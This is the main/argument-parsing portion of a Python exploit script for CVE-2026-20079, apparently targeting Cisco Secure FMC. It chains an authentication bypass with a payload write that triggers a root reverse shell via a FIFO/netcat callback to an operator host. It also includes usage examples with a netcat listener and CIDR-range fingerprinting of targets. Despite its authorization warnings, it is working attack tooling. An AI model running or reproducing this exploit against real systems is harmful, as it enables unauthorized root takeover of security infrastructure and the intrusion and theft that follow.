    python3 CVE-2026-20079.py --check --intrusive --target https://192.0.2.10

  Prove root with a one-shot callback and verified cleanup (no interactive shell):
    python3 CVE-2026-20079.py --proof --target https://192.0.2.10 \\
      --callback-host 192.0.2.20 --callback-port 4444

  Request an interactive root callback to an operator-managed listener:
    nc -lvnp 4444
    python3 CVE-2026-20079.py --exploit --target https://192.0.2.10 \\
      --callback-host 192.0.2.20 --callback-port 4444

  Exploit with the integrated listener, root verification, and cleanup:
    python3 CVE-2026-20079.py --exploit --target https://192.0.2.10 \\
      --callback-host 192.0.2.20 --callback-port 4444 --auto-verify

fingerprint classifications:
  MATCH     Successful response contained Cisco Secure FMC product markers.
  LIKELY    / redirected to a successful same-origin /ui/login response, but
            product markers were not present in the raw HTML.
  NO_MATCH  The bounded HTTP behavior did not identify an FMC interface.
  ERROR     The target could not be reached or the HTTP request failed.

GET-only check classifications:
  APPEARS        The complete known response pattern and about-page markers matched.
  PARTIAL-MATCH  The two responses matched part of the known pattern, but the
                 about-page markers were incomplete; the CVE is not confirmed.
  UNCONFIRMED    The known GET-only response pattern was not established.
  ERROR          A request failed before the check could be completed reliably.

Fingerprinting identifies a product surface; it does not prove CVE-2026-20079.
The default GET-only --check can identify the live bypass condition without
upgrading the session. Add --intrusive for stronger authentication-bypass
confirmation. Use all validation modes only with explicit written authorization.
""",
    )
    parser.add_argument("--version", action="version", version=f"%(prog)s {VERSION}")
    parser.add_argument(
        "--target",
        type=normalize_target,
        help="single target URL; required for check/proof/exploit modes",
    )
    parser.add_argument(
        "--targets-file",
        type=Path,
        help="fingerprint-only file containing one IP, host, host:port, or URL per line",
    )
    parser.add_argument(
        "--network",
        type=network_value,
        help="fingerprint-only IPv4/IPv6 CIDR range",
    )
    mode = parser.add_mutually_exclusive_group(required=True)
    mode.add_argument(
        "--fingerprint",
        action="store_true",
        help="identify likely FMC web interfaces with low-impact GET requests only",
    )
    mode.add_argument(
        "--check",
        action="store_true",
        help="test the bypass condition with at most two GET requests",
    )
    mode.add_argument(
        "--proof",
        action="store_true",
        help=(
            "write and run a one-shot root proof callback without a FIFO or "
            "interactive shell"
        ),
    )
    mode.add_argument(
        "--exploit",
        action="store_true",
        help="write and trigger the published FIFO/netcat root-shell payload",
    )
    parser.add_argument("--callback-host", type=callback_ipv4)
    parser.add_argument("--callback-port", type=tcp_port)
    parser.add_argument(
        "--auto-verify",
        action="store_true",
        help=(
            "start an integrated listener, run id/hostname/build, remove exact "
            "temporary artifacts, and verify uid=0(root)"
        ),
    )
    parser.add_argument(
        "--intrusive",
        action="store_true",
        help="with --check, upgrade the session and confirm sf_action_id",
    )
    parser.add_argument(
        "--listen-host",
        type=listen_address,
        default="0.0.0.0",
        help="local bind address for integrated callback modes (default: 0.0.0.0)",
    )
    parser.add_argument(
        "--callback-wait",
        type=float,
        default=45.0,
        help="seconds to wait for an integrated callback (default: 45)",
    )
    parser.add_argument(
        "--expected-callback-source",
        type=callback_ipv4,
        help=(
            "optional IPv4 source required for integrated callbacks; useful when "
            "the target is not behind callback-side NAT"
        ),
    )
    parser.add_argument(
        "--fingerprint-scheme",
        choices=("http", "https"),
        default="https",
        help="scheme for bare IP/host fingerprint inputs (default: https)",
    )
    parser.add_argument(
        "--fingerprint-port",
        type=tcp_port,
        default=443,
        help="port for bare IP/host fingerprint inputs (default: 443)",
    )
    parser.add_argument(
        "--workers",
        type=positive_int,
        default=10,
        help="maximum concurrent fingerprint workers (default: 10; maximum: 100)",
    )
    parser.add_argument(
        "--max-hosts",
        type=positive_int,
        default=4096,
        help="fingerprint target safety cap (default: 4096)",
    )
    parser.add_argument("--timeout", type=float, default=15.0)
    parser.add_argument(
        "--proxy",
        help="optional HTTP(S) proxy URL, for example http://127.0.0.1:8080",
    )
    parser.add_argument(
        "--verify-tls",
        action="store_true",
        help="verify the FMC HTTPS certificate (disabled by default)",
    )
    return parser.parse_args()


def main() -> int:
    args = parse_args()
    if not math.isfinite(args.timeout) or args.timeout <= 0:
        print("[-] --timeout must be greater than zero", file=sys.stderr)
        return 2
    if not math.isfinite(args.callback_wait) or args.callback_wait <= 0:
        print("[-] --callback-wait must be greater than zero", file=sys.stderr)
        return 2
    if args.workers > 100:
        print("[-] --workers must not exceed 100", file=sys.stderr)
        return 2

    selectors = sum(
        value is not None for value in (args.target, args.targets_file, args.network)
    )
    if args.fingerprint:
        if selectors != 1:
            print(
                "[-] --fingerprint requires exactly one of --target, "
                "--targets-file, or --network",
                file=sys.stderr,
            )
            return 2
        if args.callback_host is not None or args.callback_port is not None:
            print(
                "[-] callback options are not valid with --fingerprint", file=sys.stderr
            )
            return 2
        if args.auto_verify:
            print("[-] --auto-verify is not valid with --fingerprint", file=sys.stderr)
            return 2
    else:
        if args.target is None:
            print("[-] this mode requires exactly one --target URL", file=sys.stderr)
            return 2
        if args.targets_file is not None or args.network is not None:
            print(
                "[-] --targets-file and --network are valid only with --fingerprint",
                file=sys.stderr,
            )
            return 2

    if (args.proof or args.exploit) and (
        args.callback_host is None or args.callback_port is None
    ):
        print(
            "[-] --proof/--exploit requires --callback-host and --callback-port",
            file=sys.stderr,
        )
        return 2
    if (args.check or args.fingerprint) and (
        args.callback_host is not None or args.callback_port is not None
    ):
        print(
            "[-] callback options are valid only with --proof or --exploit",
            file=sys.stderr,
        )
        return 2
    if args.auto_verify and not args.exploit:
        print("[-] --auto-verify is valid only with --exploit", file=sys.stderr)
        return 2
    if args.intrusive and not args.check:
        print("[-] --intrusive is valid only with --check", file=sys.stderr)
        return 2
    integrated_listener = args.proof or (args.exploit and args.auto_verify)
    if args.expected_callback_source is not None and not integrated_listener:
        print(
            "[-] --expected-callback-source requires --proof or "
            "--exploit --auto-verify",
            file=sys.stderr,
        )
        return 2
    if not integrated_listener and args.listen_host != "0.0.0.0":
        print(
            "[-] --listen-host requires --proof or --exploit --auto-verify",
            file=sys.stderr,
        )
        return 2

    if not args.verify_tls:
        urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    if args.fingerprint:
        print("[*] CVE-2026-20079 Cisco Secure FMC GET-only fingerprint mode")
        try:
            return run_fingerprint(args)
        except ExploitError as exc:
            print(f"[-] {exc}", file=sys.stderr)
            return 1

    config = Config(
        target=args.target,
        timeout=args.timeout,
        verify_tls=args.verify_tls,
        proxy=args.proxy,
    )
    if args.check and not args.intrusive:
        print("[*] CVE-2026-20079 Cisco Secure FMC GET-only check mode")
        print(f"[*] Target: {config.target}")
        print("[!] Use only with explicit written authorization")
        return run_get_only_check(config)

    print("[*] CVE-2026-20079 Cisco Secure FMC authorized PoC")
    print(f"[*] Target: {config.target}")
    print("[!] Use only with explicit written authorization")
    print(
        "[!] The vulnerable boot-created session may not exist on every affected host"
    )
    if args.proof:
        print(
            "[*] Proof mode: one-shot id/hostname/build callback; no interactive "
            "shell or FIFO"
        )
    if args.proof:
        print(
            "[!] Proof mode requires target-side sh, rm, command, and one of "
            "nc/netcat/ncat, plus outbound callback connectivity"
        )
    if args.exploit:
        print(
            "[!] Exploit mode requires target-side sh, rm, mkfifo, command, and "
            "one of nc/netcat/ncat, plus outbound callback connectivity"
        )
        print(
            "[*] Payload method: FIFO/netcat compatibility pattern; the less "
            "portable Bash /dev/tcp variant is intentionally not used"
        )
    print(
        "[!] The session upgrade changes server-side state. This PoC does not "
        "attempt to restore or destroy the csm_processes session."
    )

    session = new_session(config)
    temporary_paths: list[str] = []
    payload_write_attempted = False
    cleanup_verified = False
    try:
        upgrade_session(session, config)
        action_id = extract_action_id(session, config)
        if args.check:
            print("[+] Check complete: authentication bypass confirmed; no RCE sent")
            print(
                "[!] The server-side csm_processes session remains upgraded; "
                "no undocumented rollback was attempted"
            )
            return 0

        listener: socket.socket | None = None
        proof_start: str | None = None
        proof_end: str | None = None
        fifo: str | None = None
        if args.proof:
            payload, proof_start, proof_end = makeself_proof_callback(
                args.callback_host,
                args.callback_port,
            )
            temporary_paths = ["/var/tmp/license.tmp"]
        else:
            payload, fifo = makeself_reverse_shell(
                args.callback_host,
                args.callback_port,
            )
            temporary_paths = [fifo, "/var/tmp/license.tmp"]
        print(f"[*] Callback: {args.callback_host}:{args.callback_port}")
        if fifo is not None:
            print(f"[*] Temporary FIFO: {fifo}")
        if integrated_listener:
            try:
                listener = open_callback_listener(args.listen_host, args.callback_port)
            except OSError as exc:
                raise ExploitError(
                    f"could not start integrated listener: {exc}"
                ) from exc
        try:
            payload_write_attempted = True
            write_payload(session, config, action_id, payload)
            trigger_accepted = trigger_payload(session, config, action_id)
            if args.proof:
                if listener is None or proof_start is None or proof_end is None:
                    raise ExploitError(
                        "internal error: proof listener was not initialized"
                    )
                verified, cleanup_verified = receive_proof_callback(
                    listener,
                    proof_start,
                    proof_end,
                    args.callback_wait,
                    args.expected_callback_source,
                )
                return 0 if verified else 1
            if listener is not None:
                if fifo is None:
                    raise ExploitError(
                        "internal error: exploit FIFO was not initialized"
                    )
                verified, cleanup_verified = receive_and_verify_callback(
                    listener,
                    fifo,
                    args.callback_wait,
                    args.expected_callback_source,
                )
                if not verified:
                    return 1
                return 0
            if not trigger_accepted:
                raise ExploitError(
                    "the trigger transport/status was not successful and no "
                    "integrated callback verification was requested"
                )
        finally:
            if listener is not None:
                listener.close()
        print("[*] After the shell arrives, validate with: id; hostname -f")
        print(f"[*] Cleanup from the FMC shell: rm -f {fifo} /var/tmp/license.tmp")
        return 0
    except KeyboardInterrupt:
        print("\n[-] Interrupted by operator", file=sys.stderr)
        return 130
    except ExploitError as exc:
        print(f"[-] {exc}", file=sys.stderr)
        return 1
    except requests.exceptions.RequestException as exc:
        print(f"[-] HTTP error: {exc}", file=sys.stderr)
        return 1
    finally:
        session.close()
        if payload_write_attempted and not cleanup_verified and temporary_paths:
            rendered_paths = " ".join(temporary_paths)
            print(
                "[!] Payload write was attempted, but target-side cleanup was not "
                "verified. If an authorized shell is available, check and remove "
                f"only: {rendered_paths}",
                file=sys.stderr,
            )


if __name__ == "__main__":
    raise SystemExit(main())
